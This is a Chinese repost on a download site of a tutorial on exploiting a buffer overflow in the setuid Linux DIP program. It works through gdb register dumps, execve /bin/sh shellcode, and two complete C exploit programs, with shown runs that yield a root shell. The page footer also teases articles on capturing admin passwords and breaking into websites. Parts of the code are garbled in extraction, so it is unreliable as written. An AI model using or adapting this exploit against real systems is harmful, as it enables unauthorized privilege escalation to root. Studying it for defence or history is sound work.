驱动管家:安全、高效、精准的专业驱动下载站!

缓冲区溢出攻击 ​编写缓冲区溢出漏洞利用程序

2018-01-25 09:43:39责编:llp   来源:驱动管家     人气:

编写漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中,有一个缓冲区溢出漏洞。在一些Linux发布版本中这个程序是默认setuid。

这个-l选项是有问题的。dip代码没有小心处理这个作为由用户传给程序的一个参数的值,没有边界检测,它仅仅stpcpy()作为参数的任何内容给一些本地缓冲区,这些缓冲区只能存有限的数据;因此增加了一个缓冲区溢出的风险。

缓冲区溢出攻击 编写缓冲区溢出漏洞利用程序

漏洞代码如:

l = stpcpy(l, argv[i]);

如果你看stpcpy的手册页($man 3 stpcpy);stpcpy,不考虑它所处理的缓冲区的边界,它把整个数组拷贝给另外一个。这里我们需要做的是:

1.在Aleph的方法中,用一些NULL操作(NOP)填到至少一半的缓冲区,接着放置你的shellcode和猜测一个NOP或者shellcode本身的地址。2.在我们的方法中,由于我们准确的知道我们shellcode在内存中的位置,我们仅仅拷贝这个地址到整个数组。

[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

Segmentation fault

[murat@victim murat]$

从上面可以看到,当我们写29个ABCD(29 * 4 = 116字节)什么都没有发生,然而当我们写30个ABCD(30 * 4 = 120 bytes)的时候,程序出现了段侵犯。它没有core dump,因为程序是setuid root权限的。让我们成为root,看看当我们给-l选项提供一个120字节的字符串时会发生什么:

[murat@victim murat]$ su

[root@victim murat]# gdb -q /usr/sbin/dip

(no debugging symbols found)...

(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`

(gdb) r

Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

Program received signal SIGSEGV, Segmentation fault.

0x444342 in ?? ()

(gdb)

(gdb) i r

eax0xb4 180

ecx0xb4 180

edx0x00

ebx0x11

esp0xbffffcd4 0xbffffcd4

ebp0x41444342 0x41444342

esi0x44

edi0x805419e134562206

eip0x444342 0x444342

eflags 0x1024666118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

(gdb)从这里可以看出,堆栈指针(ESP)和这个被保护的返回地址被我们的字符串”ABCD”覆盖了。在Ascii中:

A is 0x41, B is 0x42, C is 0x43, D is 0x44

注意到基本指针寄存器,它是:

ebp 0x41444342 0x41444342

这里的值是ADCB。这也意味着我们不能排列这个字符串。我们需要把字符串左移一个字节,这样ABCD适合一个4字节内存单元。这样的话:

(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`

(gdb) r

Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open

/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC

DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:

No such file or directory

Program received signal SIGSEGV, Segmentation fault.

0x44434241 in ?? ()

(gdb) i r

eax0xb5 181

ecx0xb5 181

edx0x00

ebx0x11

esp0xbffffcd4 0xbffffcd4

ebp0x44434241 0x44434241

esi0x44

edi0x805419e134562206

eip0x44434241 0x44434241

eflags 0x1024666118

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

(gdb)

可以看到,我们多加了一个A到我们的缓冲区开头,这样现在EIP和EBP寄存器都是:0x44434241,即我们可以校正我们的字符串了。我将写两个漏洞利用程序。每一个将用一个不同的方法。第一个将是”经典技术”而另外一个将是环境变量技术。你比较这两个时,你将很容易地看出之间的不同,并且明白没有必要去尝试猜测奇怪的偏移。请注意,环境变量方法只有当是本地漏洞的时候才有用。

这里是用经典方法的:

xdip2.c :

#include

#include

#include

#include

#define BUF 130

#define NOP 0x90

#define ALIGN 1

char sc[]=

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

unsigned long getesp()

{

__asm__("movl %esp, 陎");

}

void main(int argc, char *argv[])

{

int ret, i, n;

char *arg[5], buf[BUF];

int *ap;

if (argc

让我详细说明这个漏洞利用程序:

我们定义我们的缓冲区为130个字节长,因为一个121字节的数组对于我们来说是足够了,定义NULL操作指令的运算码为0x90,Alignment为1。

记得我们之前为了找到校正所作的吗?

#define BUF 130

#define NOP 0x90

#define ALIGN 1

你已经知道下面是我们的shell生成码:

char sc[]=

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

这个子程序返回堆栈指针的值。如我以前告诉你们的,这不是漏洞程序的ESP。它是我们漏洞利用程序的ESP,而我们利用这个值仅仅来知道内存中漏洞程序堆栈指针可能的位置。它仅仅是考虑到一个范围:

unsigned long getesp()

{

__asm__("movl %esp, 陎");

}

我们的main():arg[5]是为了execve(),buf[]是我们将供给漏洞缓冲区的。*ap(代表地址指针)是和buf[]的地址联系在一起的。

void main(int argc, char *argv[])

{

int ret, i, n;

char *arg[5], buf[BUF];

int *ap;

如果这个”漏洞利用者”输入一些值作为一个偏移量,我们从提示的esp中减去这个值,如果没有,我们使用0xbfffd779做为shellcode的地址。我在用gdb调试dip的时候发现了这个地址。它是一个预先知道的值。

if (argc < 2)

ret = 0xbfffd779;

else

ret = getesp() - atoi(argv[1]);我们让地址指针指向buf ALIGMENT的地址:

ap = (int *)(buf ALIGNMENT);

我们校正我们的缓冲区后,我们先放置返回地址到整个缓冲区:

for (i = 0 ; i < BUF; i= 4)

*ap = ret;

我们将一些NULL操作指令填到缓冲区的前半部:

for (i = 0; i < BUF / 2; i)

buf[i] = NOP;

在NOP后面,我们放置我们的shellcode:

for (n = 0; n < strlen(sc); n)

buf[i] = sc[n];

我们为execve()准备参数,如果你不明白这个去读execve的手册页:

arg[0] = "/usr/sbin/dip";

arg[1] = "-k";

arg[2] = "-l";

arg[3] = buf;

arg[4] = NULL;

注意上面我提供buf给-l选项。

接着我们execve(),如果一个错误产生了,我们通过perror()得到这个错误:

execve(arg[0], arg, NULL);

perror(execve);

让我们执行:

[murat@victim murat]$ make xdip2

[murat@victim murat]$ ./xdip2

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.DIP: cannot open /var/lock/LCK..sh#

[murat@victim murat]$ make xdip2

make: `xdip2' is up to date.

[murat@victim murat]$ ./xdip2

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.DIP: cannot open /var/lock/LCK..

bash#

如果我们不知道确切的地址,我们需要猜测偏移量。让我们假设我们不知道这个地址:

让我们首先试以-400作为偏移量:

[murat@victim murat]$ ./xdip2 -400

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~

~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~Pûÿ: No such file or directory

Segmentation fault

[murat@victim murat]$

啊,让我们试-350:

[murat@victim murat]$ ./xdip2 -350

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~

~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~Pûÿ: No such file or directory

Illegal Instruction

[murat@victim murat]$

让我们进行另一个猜测:

[murat@victim murat]$ ./xdip2 -300

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~

~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P

ûÿ: No such file or directory

bash#

然而,如你所见,猜测正确偏移量是非常乏味的。

现在是环境变量方法:

xdip.c :

#include

#include

#include#define BUFSIZE 221

#define ALIGNMENT 1char sc[]=

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";void main()

{

char *env[3] = {sc, NULL};

char buf[BUFSIZE];

int i;

int *ap = (int *)(buf ALIGNMENT);

int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");for (i = 0; i < BUFSIZE - 4; i= 4)

*ap = ret;execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);

}

让我来详细说明这个漏洞利用程序:

我们的main()。我们有一个字母指针数组。因为我们能计算环境指针的地址,我们把shellcode放到第一个环境变量的位置。

void main()

{

char *env[2] = {sc, NULL};

char buf[BUFSIZE];

int i;Address pointer points to the aligned address of buffer:

int *ap = (int *)(buf ALIGNMENT);

我们计算我们shellcode的地址。关于我们如何计算地址的细节见上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");

从缓冲区的第一个对齐的地址开始,我们放置shellcode的计算地址。我们以四为步长增加i,因为当我们以1为步长增加一个指针的时候,意味

着我们每次对其增加了4个字节。 for (i = 0; i < BUFSIZE - 4; i= 4)

*ap = ret;

接着我们execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);

因为不需要尝试和猜测,第一次我们就得到root!

[murat@victim murat]$ ./xdip

DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)

Written by Fred N. van Kempen, MicroWalt Corporation.DIP: cannot open

/var/lock/LCK..hÕÿÿ¿Õÿÿ¿Õÿ

ÿ¿Õÿÿ¿Õÿÿ¿Õÿ

ÿ¿Õÿÿ¿Õÿÿ¿Õÿ

ÿ¿Õÿÿ¿Õÿÿ¿Õÿ

ÿ¿Õÿÿ¿Õÿÿ¿Õÿ

ÿ¿Õÿÿ¿Õ

ÿÿ¿Õÿÿ¿Õÿÿ¿Õ

ÿÿ¿Õÿÿ¿Õÿÿ¿Õ

ÿÿ¿Õÿÿ¿Õÿÿ¿Õ

ÿÿ¿Õÿÿ¿Õÿÿ¿Õ

ÿÿ¿Õÿÿ¿Õÿÿ¿Õ

ÿÿ:

No such file or directory

bash#

因此,两个方法之间的基本不同之处能被列成:

项目 Aleph1的方法 环境变量方法

-----------------------------------------------------------------漏洞缓冲区一半缓冲区被NOP填充,全部缓冲区用地址填充

接着是shellcode,然后

是地址

sc的放置我们放置sc在漏洞缓冲 我们放置sc在传递给execve

区里 ()的环境指针里

sc的地址我们试着猜测sc的地址 我们*知道*sc的地址 小缓冲区如果sc在缓冲区中不 因为我们已经不把sc放在缓

合适,就很难利用漏洞 冲区,这个就无关紧要了。仅

如果你选择把sc放到 仅4个字节就够了!

环境指针里你将必

须猜测环境指针的

地址

Diffic. Level somewhat hardereasier!

最后的文字和致谢

这篇文章原来实际上使用土耳其语写的。由于翻译成英语或者其它语言有很多要求,而且实际上环境变量方法仍然缺少文档,而我认为用英文准备一篇这样的文章是一个很好的主意,还有介绍一个更加易懂的shellcode等等,我就写了这篇文章。这里可能有一些模糊的地方或者甚至是一些需要改正的错误信息。如果你碰巧遇到额,给我email,我将改正它。先行致谢。 - Murat Balaban 致谢:a, matsuri, gargoyle

参考书目: ---------- 0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/) 1. "Smashing the Stack for Fun and Profit" by Aleph1 2.我在许多地方看到过这里我讨论的shellcode。我真的不知道谁第一个写的它所以如果你知道,请告诉我,这样我能在这里加上。

  • 怎么查证你的浏览器存在ie漏洞?

    怎么查证你的浏览器存在ie漏洞?

    JavaScript IE 6 漏洞   其利用代码如下: <script type= "text jscript "> function init() { document write( "The time is: " Date() ); } window onload = init; < script>  利用此代码可

    详情2018-01-10 09:59:11责编:llp   来源:驱动管家     
  • 公共wifi密码安全吗?公共wifi密码共享有哪些坏处?

    公共wifi密码安全吗?公共wifi密码共享有哪些坏处?

    因为接触这个行业,所以在密码方面有深深的恐惧。商场里提供免费wifi,然后也提供支付宝微信支付,竟然有这么多人真的敢用着公用wifi付款买单,市场上共享wifi密码的软件层出不穷,我相信你肯定也用过,可你真的

    详情2018-01-05 09:18:07责编:llp   来源:驱动管家     
  • 想要得到复杂的管理员密码怎么办?这里有程序教程

    想要得到复杂的管理员密码怎么办?这里有程序教程

    有站的权限,但是管理员密码很复杂,MD5暴不出来,想得到他密码咋办?在登录文件做手脚啊 我来贴一个我修改的 login php里面替换掉对应的部分就OK了 [Copy to clipboard] [ - ]CODE:if($action== "login "){ *

    详情2018-01-22 21:31:11责编:llp   来源:驱动管家     
  • 木马病毒清除的步骤 检测文件捆绑木马的方法

    木马病毒清除的步骤 检测文件捆绑木马的方法

    一、文件捆绑检测将木马捆绑在正常程序中,一直是木马伪装攻击的一种常用手段。下面我们就看看如何才能检测出文件中捆绑的木马。1 MT捆绑克星文件中只要捆绑了木马,那么其文件头特征码一定会表现出一定的规律,

    详情2018-01-22 20:00:46责编:llp   来源:驱动管家     
  • 黑客入门 黑客攻击网站的常用策略

    黑客入门 黑客攻击网站的常用策略

    这篇文章主要介绍了黑客攻击网站的常用策略,你必须掌握!,需要的朋友可以参考下【1】虚假无线接入(WAP)策略虚假WAP比其他任何技术都更容易完成攻击。任何人,简单用一种软件或无线网卡,就能将自己的电脑渲染

    详情2018-01-20 14:46:56责编:llp   来源:驱动管家     
  • 脱壳教程 jdpack如何脱壳?

    脱壳教程 jdpack如何脱壳?

    这是一个加壳软件,软件加壳后可以检测trw及sice,它的1 00版检测到trw或sice时只是提示,到了1 01版,检测到就会出现非法操作 未注册版好像没有时间限制,但是给软件加壳后每次运行就会提示 "Unregistered JDPack Thi

    详情2018-01-19 09:35:00责编:llp   来源:驱动管家     
  • 雷客图asp站长助手增加了查杀功能 木马如何躲避查杀?

    雷客图asp站长助手增加了查杀功能 木马如何躲避查杀?

    到Lake2网站上下了1 5的源代码,发现这个版本的确改进了不少,又增加了查杀功能:1:查杀通过了Unicode编码的ASP木马2:查杀使用了(Open|Create)TextFile, SaveToFile,Save, set Server,Server (Transfer|Exe

    详情2018-01-24 18:05:48责编:llp   来源:驱动管家     
  • mcafee防病毒软件怎么保护网站服务器?安全的web目录怎么设置?

    mcafee防病毒软件怎么保护网站服务器?安全的web目录怎么设置?

    本文主要拿ASP文件做演示,大家可以修改E: wwwroot** asp为我们所希望限制的文件格式

    详情2018-01-18 19:33:52责编:llp   来源:驱动管家     
  • 手机信息安全吗?手机信息是怎样泄露的?

    手机信息安全吗?手机信息是怎样泄露的?

    如果你给自己的手机设置了PIN码,甚至忘记了连自己也解不开;又或者设置了比划甚至指纹解锁,然后以为这样的手机就是安全的了。是的,对于一般的人来说算安全了,可是对于真正想要你手机里内容的黑客,一次简单的

    详情2018-01-16 18:10:00责编:llp   来源:驱动管家     
  • 游戏交易网怎么被入侵?游戏交易网的入侵方法

    游戏交易网怎么被入侵?游戏交易网的入侵方法

    在这次入侵之前我已经拿到过一次这个网站的shell了,但是被删除了,由于不甘心又拿了一次,才有了下面的过程一: 踩点 收集信息因为这个已经是第二次入侵,所以具体的信息我已经基本上掌握服务器上13个站点,大多数站

    详情2018-01-04 14:30:43责编:llp   来源:驱动管家